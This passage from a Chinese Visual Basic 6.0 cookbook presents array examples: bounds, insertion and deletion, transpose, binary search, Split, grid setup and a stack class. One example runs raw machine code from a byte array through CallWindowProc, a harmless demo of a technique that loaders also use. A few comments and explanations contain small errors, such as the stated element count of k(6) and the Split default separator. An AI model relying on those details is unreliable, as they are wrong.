❷维数：可选参数。用来指定返回哪一维，默认值为1（第一维）。UBound函数返回指定维的上界；LBound函数返回指定维的下界。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“获取数组上限和下限”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个Label控件，用于显示提示信息；添加两个TextBox控件，用于显示数组的上限和下限。

（4）添加两个CommandButton控件，Caption属性分别设置为“获取上下限”和“退出”。

（5）程序的运行代码如下：



Private Sub Command1_Click()
    Dim I(5)                    '定义上限为5的数组
    Text1.Text = UBound(I)      '获取数组的上限
    Text2.Text = LBound(I)      '获取数组的下限
End Sub




秘笈心法

心法领悟046：初始数组小知识。

编程时，如果涉及数据不多，可以使用变量存取和处理数据，但对于成批的数据处理，就要用到数组。利用数组，可以简化程序、提高编程效率。本节主要介绍数组的概念和数组与简单变量的区别。

数组是一组相同数据类型变量的集合，而并不是一种数据类型。通常把数组中的变量称为数组元素，数组中每一个数组元素都有一个唯一的下标来标识自己，并且同一个数组中各个元素在内存中是连续存放的。在程序中使用数组名代表逻辑上相关的一些数据，用下标表示该数组中的各个元素，这使得程序书写简洁、操作方便，编写出来的程序出错率低、可读性强。



 实例047　如何在数组中插入数组元素

光盘位置：光盘\MR\03\047

初级

趣味指数：[image: ]




实例说明

本实例实现了在数组中插入数组元素的功能。运行程序，单击“输出原来数组”按钮，在窗体上添加显示原数组，单击“插入后数组”按钮，在窗体上添加插入后的数组元素，程序的运行效果如图3.2所示。

[image: ]
图3.2　如何在数组中插入数组元素



关键技术

本例主要实现了在数组中插入元素的功能，数组的插入是指将相同数据类型的元素插入到数组的指定位置。如图3.3和图3.4演示的是用内存表示向数组插入元素前与插入元素后的效果。



	[image: ]
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	图3.3　插入数组元素前
	图3.4　插入数组元素后




对数组进行插入操作时，数组的大小会被改变。所以插入操作只能针对动态数组进行。例如，本例向数组A中的指定位置插入一个新数值6，并将插入后的数组A中各数组元素输出在立即窗口。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“如何在数组中插入数组元素”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加3个CommandButton控件，Caption属性分别设置为“输出原来数组”、“插入后数组”和“退出”。

（4）程序的运行代码如下：



Dim A() As Long
Private Sub Form_Load()
    ReDim Preserve A(1 To 4)
    A(1) = 1: A(2) = 2: A(3) = 3: A(4) = 4                             '为动态数组A中元素赋值
    Dim n As Long: n = 6
    ReDim Preserve A(1 To 5)
    Dim i As Long, m As Long
    For i = 2 To 5                                                    '插入新数值
        m = A(i)
        A(i) = n
        n = m
    Next i
    For i = 1 To 5
        Debug.Print "a(" & CStr(i) & ")=" & CStr(A(i)),     '输出数组A中的元素
    Next i
End Sub




秘笈心法

心法领悟047：数组与简单变量的区别。

数组与简单变量的声明方法类似，但它们之间仍有以下区别：

（1）数组是以基本数据类型为基础，数组中每一个元素都属于同一数据类型。

（2）数组的定义类似于简单变量的定义，所不同的是数组需要指定数组中的元素个数。



 实例048　如何删除数组元素

光盘位置：光盘\MR\03\048

中级

趣味指数：[image: ]




实例说明

本实例实现的是从数组A中删除一个数组元素，并将删除后数组A中的各数组元素立即输出到窗口当中，程序的运行效果如图3.5所示。

[image: ]
图3.5　删除数组中的元素



关键技术

本例主要演示了从数组中删除一个元素。数组的删除是指删除数组中一个或多个元素。如图3.6和图3.7演示的是用内存表示从数组中删除一个数组元素。



	[image: ]
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	图3.6　删除数组元素之前
	图3.7　删除数组元素之后




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“如何删除数组元素”，StartUpPosition属性设置为“2-屏幕中心”。

（3）程序的运行代码如下：



Dim A() As Long
Private Sub Form_Load()
    ReDim A(1 To 4) As Long
    A(1) = 1: A(2) = 2: A(3) = 3: A(4) = 4
    Dim i As Long
    For i = 2 To 3
        A(i) = A(i + 1)
    Next i
    ReDim Preserve A(1 To 3)
    For i = 1 To 3
        Debug.Print "a(" & CStr(i) & ")=" & CStr(A(i)),
    Next i
End Sub




秘笈心法

心法领悟048：记录数组小知识。

记录数组是指数据类型为自定义（记录型）数据类型的数组。与其他数组一样，记录数组也使用Dim语句或ReDim语句声明。记录数组声明后，这个数组中每个元素都拥有这个记录数据类型中的每个记录元素。



 实例049　利用数组实现矩阵转换

光盘位置：光盘\MR\03\049

高级

趣味指数：[image: ]




实例说明

本实例主要实现了利用数组实现矩阵转换的功能。在对数据分析时，有时需要对列与行进行转换（即矩阵转换），从而更清晰地分析数据。利用数组可以轻松实现矩阵转换。思路是将数组中的行和列对换，运行程序，单击“建立矩阵”按钮，将转换前的矩阵显示在窗体上，单击“转换矩阵”按钮，在窗体上显示转换后的矩阵，程序的运行效果如图3.8所示。

[image: ]
图3.8　利用数组实现矩阵转换



关键技术

本实例主要是通过建立和使用二维数组来实现的。下面对二维数组的使用进行讲解。

本实例的实现主要是通过使用二维数组来实现的。二维数组是指程序中拥有两个下标的数组。可以把二维数组看作一个xy坐标系中的点。

例如，二维数组元素A（1,3）可以看作是在xy坐标系中的点，如图3.9所示。

[image: ]
图3.9　xy坐标系表示二维数组



使用Dim语句或ReDim语句声明二维数组，代码如下：



Dim a(3, 4) As String                          '声明静态二维数组
Dim b(5, 9)                                    '声明默认Variant数据类型的静态二维数组
Dim c(,)                                       '声明二维动态数组
ReDim c(1 To 3, 0 To 2) As Long                '更改二维数组的上下标
ReDim Preserve d(0 To 3, 0 To 2) As Long       '更改二维数组的上下标并保留元素中的数据





说明：
 在定义数组时，将数组定义3个下标即三维数组，4个下标即四维数组，依此类推，这些数组都可以称为多维数组。VB中数组的维数最大限定为60个。多维数组在使用时占用的内存空间较大，特别是Variant型多维数组，所以要谨慎使用。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“利用数组实现矩阵转换”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个CommandButton控件，将Caption属性分别设置为“建立矩阵”和“转换矩阵”。

（4）程序的运行代码如下：



Dim myarray(1 To 5, 1 To 5) As Long
Private Sub Command1_Click()
    Print "                            转换前的矩阵"
    For intx = 1 To 5
        For inty = 1 To 5
            myarray(intx, inty) = Int(Rnd * 100) + 10
        Next
    Next
    For intx = 1 To 5
        For inty = 1 To 5
            Print myarray(intx, inty),
        Next
        Print
    Next
    Print vbCrLf
End Sub
Private Sub Command2_Click()
    Print "                            转换后的矩阵"
    For intx = 1 To 5
        For inty = intx To 5
            temp = myarray(inty, intx)
            myarray(inty, intx) = myarray(intx, inty)
            myarray(intx, inty) = temp
        Next inty
    Next intx
    For intx = 1 To 5
        For inty = 1 To 5
            Print myarray(intx, inty),
        Next
        Print
    Next
End Sub




秘笈心法

心法领悟049：控件数组小知识。

控件数组是一组相同类型的控件，是使用相同名称并共享同一过程的集合。这个控件集合中的每一个控件，都可以称为该控件数组中的数组元素。

在创建控件数组时，系统会给这个控件数组中每一个控件唯一的索引（Index），即下标。这个索引的作用是用来区分控件数组中不同的控件。



 实例050　对数组进行二分查找

光盘位置：光盘\MR\03\050

中级

趣味指数：[image: ]




实例说明

[image: ]
图3.10　对数组进行二分查找



本实例主要实现了对数组进行二分查找。运行程序，在“请输入0～100数字”文本框中输入合法的数字，单击“点击查询”按钮，弹出提示对话框，将会显示出数组的下标，单击“确定”按钮，将会输出数组元素的值，程序的运行效果如图3.10所示。

关键技术

本实例主要是通过使用二分查找算法来实现的。二分查找（Binary Search）又称折半查找，它是一种效率较高的查找方法。二分查找的查找过程是：先确定待查找元素所在线性表的范围，然后逐步缩小范围直到找到（或找不到）该元素为止。

如果数组很小，使用顺序查找的方法可行，但数组较大时，一个一个比较将浪费大量时间。对于数组元素的取值有顺序（由小到大或由大到小等）的数组，可以采用二分法查找数组元素。二分法是将所要查询的数值，先与位于数组中间的数组元素进行比较，根据比较结果再对前一半或后一半进行查找，然后继续取前一半或后一半中间的数组元素与查询的数值进行比较，循环进行比较，直到查询到符合条件的结果。


注意：
 二分法只适用于有序数组。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“对数组进行二分查　 找”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个CommandButton控件，Caption属性设置为“点击查询”；添加一个TextBox控件，用于输入0～100之间的数字。

（4）程序的运行代码如下：



Dim myarray(100) As Integer
Private Sub Command3_Click()
    Dim low, high, mid As Integer
    Dim found As Boolean
    low = 0
    high = UBound(myarray)
    found = False
    mid = (high + low) / 2
    Do While Not found And (high >= low)
        If CInt(Text1.Text) = myarray(mid) Then
            found = True
            MsgBox (mid)                       '显示数组元素的下标
            MsgBox (myarray(mid))             '显示数组元素的值
            Exit Do
        ElseIf CInt(Text1.Text) < myarray(mid) Then
            high = mid - 1
        Else
            low = mid + 1
        End If
    mid = (high + low) / 2
    Loop
End Sub
Private Sub Form_Load()
    Dim i As Integer
    For i = 0 To UBound(myarray)
        myarray(i) = i + 5
        Print myarray(i)
    Next
End Sub




秘笈心法

心法领悟050：数组的分类小知识。

（1）按数组的长度分类：静态（定长）数组、动态（变长）数组。

（2）按数组的维数分类：一维数组、二维数组、多维数组。

（3）按数据类型分类：整型数组、字符串型数组、日期型数组等。

（4）按作用域分类：模块级数组、窗体级数组、过程级数组。

（5）按类型分类：菜单对象数组、控件数组等。


 3.2　数组的应用



 实例051　利用数组统计文字段落数

光盘位置：光盘\MR\03\051

中级

趣味指数：[image: ]




实例说明

本实例实现了利用数组统计文字的段落数目。运行程序，在文本框中输入文章信息，单击“统计段落数”按钮，弹出文章的段落数，程序的运行效果如图3.11所示。

[image: ]
图3.11　利用数组统计文字段落数




注意：
 在处理文字时，如果需要获得文字的段落数，可以利用数组来实现。但需要使用Split函数将文字按vbCrLf生成数组。然后获取数组的上标，这个上标加1即为当前文档的段落数。因为数组的下标是从0开始的，所以，文档的段落数等于数组的元素个数，也就是数组的上标加1。

关键技术

本实例主要运用了Split函数，下面介绍Split函数的语法。

Split函数返回一个下标从零开始的一维数组，一维数组中包含了指定数目的子字符串，语法如下：



Split(<表达式>[, <字符>[, count[, compare]]])




Split函数语法中各部分的说明如表3.1所示。

表3.1　Split函数语法中各部分的说明



	部分
	说明



	表达式
	必选参数。包含子字符串和分隔符的字符串表达式。如果表达式是一个长度为零的字符串（""），Split则返回一个空数组，即没有元素和数据的数组



	字符
	可选参数。用于标识子字符串边界的字符串字符。如果忽略，则使用空格字符（""）作为分隔符。如果字符是一个长度为零的字符串，则返回的数组仅包含一个元素，即完整的表达式字符串



	count
	可选参数。要返回的子字符串数，-1表示返回所有的子字符串



	compare
	可选参数。数字值，表示判别子字符串时使用的比较方式。关于其值，请参阅表3.2中的“设置值”部分




compare参数的设置如表3.2所示。

表3.2　compare参数的设置



	设置值
	值
	说明



	vbUseCompareOption
	-1
	用Option Compare语句中的设置值执行比较



	vbBinaryCompare
	0
	执行二进制比较



	vbTextCompare
	1
	执行文字比较



	vbDatabaseCompare
	2
	仅用于Microsoft Access




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“利用数组统计文字段落数”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个RichTextBox控件，用于显示文字；添加两个CommandButton控件，使用其默认名称，Caption属性分别设置为“统计段落数”和“退出”。

（4）程序的主要代码如下：



Private Sub Command1_Click()
    Dim str, mylb As String
    Dim myrows, i
    With RichTextBox1
        Dim myarray() As String                  '声明数组
        myarray = Split(.Text, vbCrLf)           '返回数组
        If RichTextBox1.Text <> "" Then
            myrows = UBound(myarray) + 1         '返回数组元素个数
        Else
            MsgBox "请输入文字内容"
            Exit Sub
        End If
        MsgBox (myrows)                     '显示文字段落数
    End With
End Sub




秘笈心法

心法领悟051：在运行时添加控件小知识。

在Visual Basic 6.0中，可使用Load语句在运行时向控件数组添加控件。控件必须和控件数组是同一类型，并且控件数组必须在设计时创建，且必须带有至少一个元素。添加控件后，必须将Visible属性设置为True。



 实例052　利用数组随机抽取幸运观众

光盘位置：光盘\MR\03\052

高级

趣味指数：[image: ]




实例说明

本实例实现了利用数组随机抽取幸运观众的功能。在电视节目中，经常需要随机抽取幸运观众。如果观众抽取的范围较少，可以使用数组实现。下面介绍实现的方法：首先将所有观众姓名生成数组，然后获得总的数组元素，然后在数组元素中随机抽取元素的下标，根据抽取的下标获得幸运观众，效果如图3.12所示。

[image: ]
图3.12　利用数组随机抽取幸运观众



关键技术

本实例主要用到了Split函数、UBound函数、Int函数和Rnd函数等方面的知识。


说明：
 （1）Split函数的详细讲解请参见实例051中的关键技术。

（2）UBound函数的详细讲解请参见实例046中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“利用数组随机抽取幸运观众”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个TextBox控件，分别用于显示所有观众和抽取的幸运观众；添加两个CommandButton控件，分别用于执行抽取幸运观众和退出程序命令。

（4）程序的主要代码如下：



Private Sub Command1_Click()
    Dim str, mylb As String
    Dim myrows, i
    With Text1
        Dim myarray() As String                                        '声明数组
        myarray = Split(.Text, vbCrLf)                                    '返回数组
        myrows = UBound(myarray)                                    '返回数组元素个数
        Text2.Text = Text2.Text & vbCrLf & myarray(Int(Rnd * myrows + 1))
    End With
End Sub




如果要对数组进行修改，只需简单地改变赋值常量general即可，代码如下：



Private Const general = 9




秘笈心法

心法领悟052：数组的分类小知识。

数组必须先声明后使用。根据声明时数组的大小，可将数组分为静态（定长）数组和动态（可变长）数组两种类型。

静态数组是指程序运行时，数组中包含的数组元素的个数不变，所占存储空间也保持不变。静态数组在声明时，已确定了数组的大小。

动态数组是指在程序运行时，可以增加或减少其数组元素个数，而且其存储空间也会根据需求变大或变小。



 实例053　利用二维数组向MSFlexGrid表格添加数据

光盘位置：光盘\MR\03\053

中级

趣味指数：[image: ]




实例说明

本实例主要实现了利用二维数组向MSFlexGrid表格添加数据并可以设置控件的整个背景。运行程序，单击“添加图片”按钮，选择要添加的图片，设置MSHFlexGrid控件的背景图片，程序的运行效果如图3.13所示。

[image: ]
图3.13　给MSHFlexGrid控件添加背景图片



关键技术

本实例的实现主要是通过使用二维数组来实现的。二维数组是指程序中拥有两个下标的数组。可以把二维数组看作一个xy坐标系中的点。


说明：
 有关二维数组的的定义和说明请参见实例049中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“利用二维数组向MSFlexGrid表格添加数据”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个CommandButton控件，将Caption属性分别设置为“添加图片”和“退出”，用于执行相应的命令。

（4）在窗体上添加一个MSHFlexGrid控件，由于该控件属于ActiveX控件，使用前要将该控件引入到工具箱中；添加一个CommonDialog控件和一个PicturesBox控件。

（5）程序的运行代码如下：



Private Sub Form_Load()
    Dim i, j As Integer
    Me.MSHFlexGrid1.Cols = 8
    Me.MSHFlexGrid1.Rows = 15
    For j = 0 To Me.MSHFlexGrid1.Cols - 1
        Me.MSHFlexGrid1.ColAlignment(j) = 3
        For i = 0 To Me.MSHFlexGrid1.Rows - 1
            Me.MSHFlexGrid1.TextMatrix(i, j) = i * j
        Next i
    Next j
End Sub




秘笈心法

心法领悟053：Is运算符小知识。

Is运算符语法如下：



    result = object1 Is object2




参数说明

❶result：必选参数。数组的名称，遵循标准的变量命名约定。

❷object1：必选参数。任何对象名称。

❸object2：必选参数。任何对象名称。


说明：
 如果object1和object2两者引用相同的对象，则result为True；否则result为False。有很多方法使两个变量引用相同的对象。



 实例054　利用数组设置MSFlexGrid的表头和列宽

光盘位置：光盘\MR\03\054

中级

趣味指数：[image: ]




实例说明

本实例实现了利用数组设置MSFlexGrid的表头和列宽。MSFlexGrid表格控件在不绑定数据控件的情况下，其表头、列宽等属性需要通过代码设置完成。本例使用Array函数设置MSFlexGrid表格控件的表头和列宽。运行程序，设置完成的效果如图3.14所示。

[image: ]
图3.14　利用数组设置MSFlexGrid的表头和列宽



关键技术

本实例主要是通过使用数组的相关函数Array函数来实现的。

Array函数可以创建一个数组，并返回一个Variant数据类型的变量，语法如下：



Array(arglist)




参数说明

arglist：一个数值表，各数值之间用“,”分开。这些数值是用来给数组元素赋值的。当arglist中没有任何参数时，则创建一个长度为0的数组。

例如，将一个Variant型变量，使用Array函数赋值成Variant型数组，代码如下：



Dim A As Variant
A = Array(45, 2, 6, 7)                'A中包含4个数组元素，各元素的值为：45，2，6，7





注意：
 数组A中第一个元素是A（0）。使用Array函数创建的数组只能是Variant数据类型，返回的变量也只能是Variant型，如果这个变量不是Variant型，VB将产生类型不匹配的错误。

设计过程

（1）新建一个标准的EXE工程。

（2）在工程中添加一个窗体，将Caption属性设置为“利用数组设置MSFlexGrid的表头和列宽”。

（3）在窗体上添加一个MSFlexGrid控件，该控件不是标准的VB控件，在使用前需要将其添加到工具箱中，具体的添加方法如下：

选择“工程”/“部件”命令，在打开的“部件”对话框中选择“控件”选项卡，在列表中选中Microsoft FlexGrid Control 6.0（SP6）复选框，如图3.15所示。

[image: ]
图3.15　添加MSFlexGrid控件



（4）程序的运行代码如下：



Private Sub Form_Load()
    Dim i As Integer                                        '定义变量
    MSFlexGrid1.Rows = 20                                    '定义行数
    MSFlexGrid1.Cols = 10                                    '定义列数
    Dim s, y                                                '定义变量
    '设置MSFlexGrid1表格控件的列宽
    s = Array("300", "2100", "1200", "1200", "1200", "600", "1200", "1065", "1200")
    '设置MSFlexGrid1控件的表头
    y = Array("xh", "药品名称", "药品批号", "规格", "产地", "单位", "零售价", "数量", "金额")
    For i = 0 To 8                                            '循环设置列宽和表头
        MSFlexGrid1.ColWidth(i) = s(i)                            '设置列宽
        MSFlexGrid1.TextMatrix(0, i) = y(i)                            '设置表头
    Next i
End Sub




秘笈心法

心法领悟054：如何定义静态数组。

静态数组是指程序运行时，数组中包含的数组元素的个数不变，占有存储空间也保持不变。静态数组在声明时，已确定了数组的大小。

在VB中使用Dim语句声明几种不同数据类型、不同大小的数组，代码如下：



Dim a(3)                           '声明Variant型数组a，包含4个数组元素，即a(0)、a(1)、a(2)、a(3)
Dim b(2 To 7) As Integer           '声明Integer型数组b，包含6个数组元素，即b(2)～b(7)
Dim k(6) As String                 '声明String型数组k，包含4个数组元素，即k(0)～k(6)






 实例055　幼儿识字卡片

光盘位置：光盘\MR\03\055

中级

趣味指数：[image: ]




实例说明

许多年轻的父母越来越认识到幼儿早期智力开发的重要性。这里我们就利用数组设计一个幼儿识字卡片的程序，程序的运行效果如图3.16所示。

[image: ]
图3.16　幼儿识字卡片



关键技术

本程序的设计思路：在本程序中用户单击“上一字”按钮或者“下一字”按钮来浏览更多的汉字，这里面汉字的数目和顺序是固定的，将汉字都存储在数组中，当用户单击按钮时，会将这些汉字显示在Label控件中，进而实现幼儿识字卡片的功能。

设计过程

1．窗体界面设计

（1）新建一个标准的EXE工程。

（2）在工程中默认创建一个窗体，使用该窗体的默认名，设置BorderStyle属性为0-None，窗体无边框，设置Picture属性为设计好的图片。

（3）在窗体上添加一个Label控件，设置Caption属性为空，BackStyle属性为白色，BorderStyle属性为　1-Fixed Single，固定单边框，ForeColor属性为黑色。设置Font属性，如图3.17所示。

[image: ]
图3.17　“字体”对话框



（4）添加一个Timer控件，用于实现Label控件一定的效果。

（5）在窗体上添加4个Image控件，并设置Picture属性，分别用于执行“上一字”、“下一字”、“最小化”和“最大化”功能。

2．程序代码设计

首先定义窗体模块级的数组变量，代码如下：



    Dim MyArray(10) As String                           '定义数组变量，存储汉字
    Dim i As Integer                                    '定义整型变量，存储数组序号




在窗体加载时，设置Timer控件不可用，并且给数组赋值，设置Label控件的显示位置，设置索引值为-1，程序代码如下：



Private Sub Form_Load()
    Timer1.Enabled = False                                '设置Timer控件不可用
    Timer1.Interval = 100                                    '设置Interval属性为100
    '给数组赋值
    MyArray(0) = "大" : MyArray(1) = "小" : MyArray(2) = "多" : MyArray(3) = "少"
    MyArray(4) = "上" : MyArray(5) = "中" : MyArray(6) = "下" : MyArray(7) = "左"
    MyArray(8) = "右" : MyArray(9) = "前" : MyArray(10) = "后"
    Label1.Left = -3800                                    '设置标签控件的Left属性
    i = -1                                            '设置索引值
    Image2_Click                                        '调用“下一字”按钮
End Sub




当用户单击“上一字”或“下一字”按钮时，判断索引值，如果是“上一字”按钮，则将索引值减1，然后设置Label控件的位置，并设置Timer控件可用。如果是“下一字”按钮，则将索引值加1，设置Label控件的位置，并设置Timer控件可用，程序代码如下：



Private Sub Image1_Click()                                    '上一字
    If i > 0 Then                                        '如果索引值大于0
        i = i - 1                                        '索引值减1
        Label1 = MyArray(i)                                '将数组中的值显示在标签中
    End If
    Timer1.Enabled = True                                    '设置Timer控件可用
    Label1.Left = -4000                                    '设置Label控件的Left属性位置
End Sub
Private Sub Image2_Click()                                    '下一字
    If i < 10 Then                                        '如果索引值小于10
        i = i + 1                                        '索引值加1
        Label1 = MyArray(i)                                '设置标签中的文字
    End If
    Timer1.Enabled = True                                    '设置Timer控件可用
    Label1.Left = -4000                                    '设置Label控件的Left属性位置
End Sub




Timer控件的Timer事件用于处理标签控件从左侧向右侧的移动效果，当移动到大约窗体中间的位置，则停止移动，程序代码如下：



Private Sub Timer1_Timer()
    If Label1.Left < 5000 Then                                '如果标签的Left属性小于5000
        Label1.Left = Label1.Left + 200                        '设置Label控件向右移动
    Else                                            '否则
        Label1.Left = -4000                                '设置Label控件显示在最左侧
    End If
    '如果Label控件的Label属性在1560～1660中间时
    If Label1.Left > 1560 And Label1.Left < 1660 Then            
        Timer1.Enabled = False                                '设置Timer控件不可用
    End If
End Sub




秘笈心法

心法领悟055：谨慎使用If…If…Else。

当一语句在含有多个If和Else语句时，注意Else语句到底和哪一个If语句是一对的。例如，下列程序的输入结果。



a = -1
b = 2
c = 3
If a > 0 Then
    If b > 0 Then
        c = 10
    Else
        c = 20
    End If
End If
Print "c=", c




其中Else语句和哪个If语句是一对的直接影响程序的结果。

根据Else总是和它最近且没有配对的If语句是一对的，所以此程序的Else语句和第二个If语句是一对的。即根本没执行此判断结构中的语句，c的值仍然是3。



 实例056　Visual Basic内嵌汇编语言

光盘位置：光盘\MR\03\056

高级

趣味指数：[image: ]




实例说明

本实例实现了在Visual Basic内嵌汇编语言的功能。运行程序，弹出一个提示对话框，单击“确定”按钮，显示主窗体，程序的运行效果如图3.18所示。

[image: ]
图3.18　Visual Basic内嵌汇编语言



关键技术

汇编代码可以存在一个byte类型的数组中，然后通过某种手段把系统控制权转交给这段汇编代码，这样汇编代码段就得到了执行。如果要获得系统的控制权限，就需要使用API函数CallWindowProc。这个函数原本是用于调用用户自己定义的窗口过程的，其声明方法如下：



Public Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long




参数说明如表3.3所示。

表3.3　API函数CallWindowProc的参数说明



	参数
	说明



	lpPrevWndFunc
	指向前一个窗口过程的指针。如果该值是通过调用GetWindowLong函数，并将该函数中的nlndex参数设为GWL_WNDPROC或DWL_DLGPROC而得到的，那么它实际上要么是窗口或者对话框的地址，要么就是代表该地址的句柄



	hWnd
	指向接收消息的窗口过程的句柄



	Msg
	指定消息类型



	wParam
	指定其余的、消息特定的信息



	IParam
	指定其余的、消息特定的信息




在上面表格的参数中，真正要关心的是lpPrevWndFunc。lpPrevWndFunc参数虽然原本是指向前一个窗口过程的指针，但是也可以利用它指定汇编代码的地址。其余的参数虽然都是必选参数，但是只有将它们被指定为0即可。

具体一点，例如，要嵌入一段什么也不干的汇编代码。



Dim AsmCode() as byte
redim AsmCode(8)
'生成机器代码
AsmCode(0) = &H58 'POP EAX
AsmCode(1) = &H59 'POP ECX
AsmCode(2) = &H59 'POP ECX
AsmCode(3) = &H59 'POP ECX
AsmCode(4) = &H59 'POP ECX
AsmCode(5) = &H50 'PUSH EAX
'你可以在这里添加你想执行的Asm代码... 
'…如果添加的话，后面的数组偏移需要做相应改动
'添加的代码在这里结束
'将控制权交还主程序
AsmCode(6) = &HC3 'RET 
'...




然后：



CallDllFunction = CallWindowProc(VarPtr(AsmCode(0), 0, 0, 0, 0)




VarPtr函数，用于取变量地址。返回一个Long型值。

为什么前面要执行几个pop和一个push呢？因为我们是以一段汇编代码首地址伪装成一个窗口过程的，系统调用CallWindowProc时，实际上除了lpPrevWndFunc，还传入了4个参数，就是上面的4个0，而CallWindowProc函数在调用lpPrevWndFunc这段汇编代码程序时，把其余4个参数压入了堆栈。相当于执行了以下代码：



xxxx00A4H: push 0 
xxxx00A6H: push 0 
xxxx00A8H: push 0 
xxxx00AAH: push 0
xxxx00ACH: call VarPtr(AsmCode(0))(这段代码我们是看不见的，是CallWindowProc在内部做的处理)
xxxx00AFH: ......




因为根本没有用到这4个参数，所以只需要将它弹出。所以，执行了4个POP ECX，就是把这4个不用的参数弹出，以保持堆栈指针的正确性。但为什么还要第一句的POP EAX，这是因为CallWindowProc把lpPrevWndFunc当成一个窗口过程的缘故，因为作为一个正常的窗口过程，在执行Call语句时，要把Call语句的下一条指令地址push到堆栈中，用于子程序ret。在上面这段代码就是执行了push xxxx00afh。事实上，在CallWindowProc中，实际上隐含执行这么几句的代码如下：



push 0;参数入栈 
push 0 
push 0 
push 0 
push xxxx00afh；（当执行call 时，自动执行）




为了能让窗口过程执行结束后堆栈指针保持平衡，当然要执行相应的pop指令，第一个pop eax是把子程序返回的地址暂时保存在寄存器eax中，然后弹出4个不用的参数。

接着把保存在eax中的返回地址压回堆栈。当执行ret时，就能正确返回到CallWindowProc中了。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“Visual Basic内嵌汇编语言”，StartUpPosition属性设置为“2-屏幕中心”。

（3）程序的运行代码如下：



Private Sub Form_Load()
    Dim AsmCode() As Byte
    ReDim AsmCode(8)
    '生成机器代码
    AsmCode(0) = &H58 'POP EAX
    AsmCode(1) = &H59 'POP ECX
    AsmCode(2) = &H59 'POP ECX
    AsmCode(3) = &H59 'POP ECX
    AsmCode(4) = &H59 'POP ECX
    AsmCode(5) = &H50 'PUSH EAX
    '你可以在这里添加你想执行的Asm代码...
    '…如果添加的话，后面的数组偏移需要做相应改动
    '添加的代码在这里结束
    '将控制权交还主程序
    AsmCode(6) = &HC3 'RET
    Dim ret As Long
    ret = CallWindowProc(VarPtr(AsmCode(0)), 0, 0, 0, 0)
    MsgBox ret
End Sub




秘笈心法

心法领悟056：在Visual Basic编程中运用数据结构。

结构可以将相关的数据加以组合存放较声明一堆变量结构能发挥更大的作用。例如，在结构中定义两个整型的数据，分别为num1和num2，然后声明结构变量number，分别对结构变量number中的num1属性和num2属性赋值为1和2，在文本框Text1中显示num1属性与num2属性的算术和，代码如下：



Private Type num  '定义结构
num1 As Integer
num2 As Integer
End Type
Private Sub Command1_Click()
Dim number As num
number.num1 = 1
number.num2 = 2
Text1.Text = number.num1 + number.num2
End Sub






 实例057　在Visual Basic 6.0中实现栈

光盘位置：光盘\MR\03\057

高级

趣味指数：[image: ]




实例说明

本实例实现了在Visual Basic 6.0中实现栈的功能。运行程序，单击“堆入”和“弹出”按钮，在“立即”窗口中显示相应信息，程序的运行效果如图3.19所示。

[image: ]
图3.19　在Visual Basic 6.0中实现栈



关键技术

堆栈存储数据采用后进先出的方式，它对编程是非常有用的。本技巧将向大家介绍在VB中实现栈的方法。

一般来说，堆栈有相互关联的两个操作：Push、Pop。

Push经常将一个数据放入栈的最顶端，Pop经常取出并移除栈中最顶端的数据。

假设，执行下列指令：



Push A
Push B
Push C




如果执行了3次Push指令，将首先取出C，然后取出B，最后取出A。

在这里通过在类模块（命名为Stack）中使用动态数组来实现栈。动态数组可以根据需要增加数组长度，视为在栈中添加了新的数据。当栈中的数据被弹出数组的长度不被缩减，用来避免因重复调用ReDim语句所造成的开销。

在类模块中的动态数组的数据类型为变体类型，用来保存数据。除了动态数组外，在类模块中还有一个长整型的变量用来充当指针。在类模块的初始化事件中将指针变量的初始值设置为0，数组的长度为1。这里需要注意的是如果栈为Empty，则Pop的结果为Null。因此，要使用堆栈就要对Pop的结果进行有效性的判断。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，Caption属性设置为“在Visual Basic 6.0中实现栈”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个CommandButton控件，Caption属性分别设置为“堆入”和“弹出”，Style属性设置为1并设置BackColor属性。

（4）程序的主要代码如下：



Option Base 1
Private data() As Variant                                                '动态数组
Private pointer As Long                                                '指针
Private Sub Class_Initialize()                                            '类对象的初始化
    pointer = 0                                                    '设置指针初始值
    ReDim data(1)                                                    '数组长度设置为1
End Sub




创建Pop过程，在过程中如果指针的数值大于0就根据指针取出栈中的数据，否则就返回Null，代码如下：



Public Function Pop()
    If pointer > 0 Then
        Pop = data(pointer)
        pointer = pointer - 1
    Else
        Pop = Null
    End If
End Function




创建Push过程，在过程中如果数组的长度小于指针的数值就增加数组的长度，并将新的数据保存在新增加的数组元素中，代码如下：



Public Sub Push(value)
    pointer = pointer + 1
    If UBound(data) < pointer Then
        ReDim Preserve data(pointer)
    End If
    data(pointer) = value
End Sub




秘笈心法

心法领悟057：在声明中注释变量。

点声明后添加单引号，单引号后加注释。部分代码如下：



Dim i As Integer        '变量1，存储输入的次数
Dim str As string       '变量2，存储输入的内容





 3.3　控件数组



 实例058　动态添加或删除控件

光盘位置：光盘\MR\03\058

高级

